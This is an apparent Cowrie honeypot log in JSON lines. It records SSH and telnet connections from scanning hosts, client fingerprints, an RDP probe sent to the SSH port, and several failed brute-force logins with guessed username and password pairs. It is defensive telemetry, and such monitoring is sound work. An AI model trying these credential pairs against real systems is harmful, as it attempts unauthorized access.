{"eventid":"cowrie.login.failed","username":"testuser","password":"pass","message":"login attempt [testuser/pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:26.101133Z","src_ip":"45.43.86.48","session":"7f8480935045","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":60788,"dst_ip":"159.203.135.109","dst_port":23,"session":"db3f34ddb483","protocol":"telnet","message":"New connection: 209.126.87.217:60788 (159.203.135.109:23) [session: db3f34ddb483]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:26.823379Z"}
{"eventid":"cowrie.session.closed","duration":30.797529220581055,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:27.069585Z","src_ip":"108.179.216.206","session":"41094489e1fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:27.192697Z","src_ip":"45.43.86.48","session":"7f8480935045","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.335021018981934,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:27.931951Z","src_ip":"209.126.87.217","session":"2514d3fe85f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":60794,"dst_ip":"159.203.135.109","dst_port":23,"session":"5b9fae48abba","protocol":"telnet","message":"New connection: 209.126.87.217:60794 (159.203.135.109:23) [session: 5b9fae48abba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:28.593361Z"}
{"eventid":"cowrie.session.closed","duration":35.51277470588684,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:28.994620Z","src_ip":"209.126.87.217","session":"a05555671755","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":37024,"dst_ip":"10.17.0.5","dst_port":23,"session":"82f3e0eb53ce","protocol":"telnet","message":"New connection: 108.179.216.206:37024 (10.17.0.5:23) [session: 82f3e0eb53ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:29.571331Z"}
{"eventid":"cowrie.session.closed","duration":31.534626007080078,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:29.849695Z","src_ip":"209.126.87.217","session":"5c362479f5fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":37750,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6af6cc2ed80","protocol":"telnet","message":"New connection: 108.179.216.206:37750 (10.17.0.5:23) [session: f6af6cc2ed80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:30.293015Z"}
{"eventid":"cowrie.session.connect","src_ip":"3.151.241.153","src_port":44334,"dst_ip":"159.203.135.109","dst_port":22,"session":"af25e8895423","protocol":"ssh","message":"New connection: 3.151.241.153:44334 (159.203.135.109:22) [session: af25e8895423]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:30.367608Z"}
{"eventid":"cowrie.client.version","version":"","message":"Remote SSH version: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:30.373966Z","src_ip":"3.151.241.153","session":"af25e8895423","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:30.378192Z","src_ip":"3.151.241.153","session":"af25e8895423","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.146.202.174","src_port":49572,"dst_ip":"159.203.135.109","dst_port":22,"session":"4dc0036dd6e3","protocol":"ssh","message":"New connection: 103.146.202.174:49572 (159.203.135.109:22) [session: 4dc0036dd6e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:30.482326Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:30.486867Z","src_ip":"103.146.202.174","session":"4dc0036dd6e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":37956,"dst_ip":"10.17.0.5","dst_port":23,"session":"892244bd33bb","protocol":"telnet","message":"New connection: 108.179.216.206:37956 (10.17.0.5:23) [session: 892244bd33bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:30.490565Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":37022,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f755e822fd6","protocol":"telnet","message":"New connection: 108.179.216.206:37022 (10.17.0.5:23) [session: 7f755e822fd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:30.568858Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":38120,"dst_ip":"10.17.0.5","dst_port":23,"session":"aad12551ee9b","protocol":"telnet","message":"New connection: 108.179.216.206:38120 (10.17.0.5:23) [session: aad12551ee9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:30.638836Z"}
{"eventid":"cowrie.session.closed","duration":120.00113844871521,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:30.671940Z","src_ip":"108.179.216.206","session":"7033d286c9d5","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:30.734979Z","src_ip":"103.146.202.174","session":"4dc0036dd6e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":41792,"dst_ip":"159.203.135.109","dst_port":22,"session":"43a6e35b9214","protocol":"ssh","message":"New connection: 159.203.92.129:41792 (159.203.135.109:22) [session: 43a6e35b9214]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:30.741426Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:30.745610Z","src_ip":"159.203.92.129","session":"43a6e35b9214","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:30.749965Z","src_ip":"159.203.92.129","session":"43a6e35b9214","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"P@ssw0rd","message":"login attempt [ansible/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:30.762057Z","src_ip":"159.203.92.129","session":"43a6e35b9214","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1qaz2wsx3edc","message":"login attempt [admin/1qaz2wsx3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:31.759013Z","src_ip":"103.146.202.174","session":"4dc0036dd6e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:31.767426Z","src_ip":"159.203.92.129","session":"43a6e35b9214","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.18206262588501,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:32.398988Z","src_ip":"209.126.87.217","session":"a8357d2c9072","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":39672,"dst_ip":"10.17.0.5","dst_port":23,"session":"69f0602feae9","protocol":"telnet","message":"New connection: 108.179.216.206:39672 (10.17.0.5:23) [session: 69f0602feae9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:32.903316Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:33.009864Z","src_ip":"103.146.202.174","session":"4dc0036dd6e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.891140937805176,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:33.036528Z","src_ip":"209.126.87.217","session":"07ef89f39c9e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":47558,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c7dad05f90d","protocol":"telnet","message":"New connection: 209.126.87.217:47558 (159.203.135.109:23) [session: 4c7dad05f90d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:33.326207Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":47562,"dst_ip":"159.203.135.109","dst_port":23,"session":"f94b00550a39","protocol":"telnet","message":"New connection: 209.126.87.217:47562 (159.203.135.109:23) [session: f94b00550a39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:33.612350Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":47568,"dst_ip":"159.203.135.109","dst_port":23,"session":"63578180fac6","protocol":"telnet","message":"New connection: 209.126.87.217:47568 (159.203.135.109:23) [session: 63578180fac6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:33.664871Z"}
{"eventid":"cowrie.session.closed","duration":30.6656596660614,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:34.274787Z","src_ip":"108.179.216.206","session":"4a47e317a174","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":42244,"dst_ip":"10.17.0.5","dst_port":23,"session":"b932275de341","protocol":"telnet","message":"New connection: 108.179.216.206:42244 (10.17.0.5:23) [session: b932275de341]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:34.371178Z"}
{"eventid":"cowrie.session.closed","duration":30.281821966171265,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:35.038959Z","src_ip":"108.179.216.206","session":"bd7a69ff5584","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":43250,"dst_ip":"10.17.0.5","dst_port":23,"session":"9845aaa9549d","protocol":"telnet","message":"New connection: 108.179.216.206:43250 (10.17.0.5:23) [session: 9845aaa9549d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:35.254809Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":45050,"dst_ip":"10.17.0.5","dst_port":23,"session":"0672c7c2d5f0","protocol":"telnet","message":"New connection: 108.179.216.206:45050 (10.17.0.5:23) [session: 0672c7c2d5f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:36.833402Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":47574,"dst_ip":"159.203.135.109","dst_port":23,"session":"d0935115f940","protocol":"telnet","message":"New connection: 209.126.87.217:47574 (159.203.135.109:23) [session: d0935115f940]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:37.737792Z"}
{"eventid":"cowrie.session.closed","duration":30.45923376083374,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:38.159477Z","src_ip":"108.179.216.206","session":"1d7774fea789","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":47590,"dst_ip":"159.203.135.109","dst_port":23,"session":"a48074d89c8c","protocol":"telnet","message":"New connection: 209.126.87.217:47590 (159.203.135.109:23) [session: a48074d89c8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:38.165830Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":48204,"dst_ip":"10.17.0.5","dst_port":23,"session":"647f3ef98d99","protocol":"telnet","message":"New connection: 108.179.216.206:48204 (10.17.0.5:23) [session: 647f3ef98d99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:39.736231Z"}
{"eventid":"cowrie.session.closed","duration":33.545823097229004,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:40.892882Z","src_ip":"209.126.87.217","session":"16d33cb5e2e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":41504,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c13b44d0132","protocol":"telnet","message":"New connection: 209.126.87.217:41504 (159.203.135.109:23) [session: 0c13b44d0132]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:41.358735Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":41506,"dst_ip":"159.203.135.109","dst_port":23,"session":"1eb6f5312aba","protocol":"telnet","message":"New connection: 209.126.87.217:41506 (159.203.135.109:23) [session: 1eb6f5312aba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:42.358891Z"}
{"eventid":"cowrie.session.closed","duration":33.11988043785095,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:42.551002Z","src_ip":"209.126.87.217","session":"4fd323cde5ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"3.151.241.153","src_port":46162,"dst_ip":"159.203.135.109","dst_port":22,"session":"96fcfa070f34","protocol":"ssh","message":"New connection: 3.151.241.153:46162 (159.203.135.109:22) [session: 96fcfa070f34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:42.969558Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:42.977091Z","src_ip":"3.151.241.153","session":"96fcfa070f34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:42.997953Z","src_ip":"3.151.241.153","session":"96fcfa070f34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.50005388259888,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:43.674833Z","src_ip":"209.126.87.217","session":"66e5c999b570","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":51566,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7204b63476c","protocol":"telnet","message":"New connection: 108.179.216.206:51566 (10.17.0.5:23) [session: c7204b63476c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:43.898134Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":41516,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e3a874328b9","protocol":"telnet","message":"New connection: 209.126.87.217:41516 (159.203.135.109:23) [session: 1e3a874328b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:44.304267Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":53472,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d3e88a2fae6","protocol":"telnet","message":"New connection: 108.179.216.206:53472 (10.17.0.5:23) [session: 3d3e88a2fae6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:44.693094Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.252.223","src_port":51905,"dst_ip":"10.17.0.5","dst_port":22,"session":"0151575f2556","protocol":"ssh","message":"New connection: 103.149.252.223:51905 (10.17.0.5:22) [session: 0151575f2556]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:46.833407Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:46.838722Z","src_ip":"103.149.252.223","session":"0151575f2556","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:46.842423Z","src_ip":"103.149.252.223","session":"0151575f2556","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.23685073852539,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:47.535381Z","src_ip":"209.126.87.217","session":"6585f2f732e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.01517295837402,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:48.179896Z","src_ip":"209.126.87.217","session":"db613d0b5b10","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.47887897491455,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:48.720061Z","src_ip":"209.126.87.217","session":"c431dc9b79ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.290906190872192,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:49.529276Z","src_ip":"108.179.216.206","session":"050db13d53b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.121604681015015,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:49.625942Z","src_ip":"108.179.216.206","session":"0e5c74347013","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":59440,"dst_ip":"10.17.0.5","dst_port":23,"session":"f52352c69158","protocol":"telnet","message":"New connection: 108.179.216.206:59440 (10.17.0.5:23) [session: f52352c69158]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:50.664680Z"}
{"eventid":"cowrie.session.closed","duration":31.511197566986084,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:50.896833Z","src_ip":"108.179.216.206","session":"6b6f4e0c2d2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:08:52.972014Z","src_ip":"3.151.241.153","session":"96fcfa070f34","protocol":"ssh"}
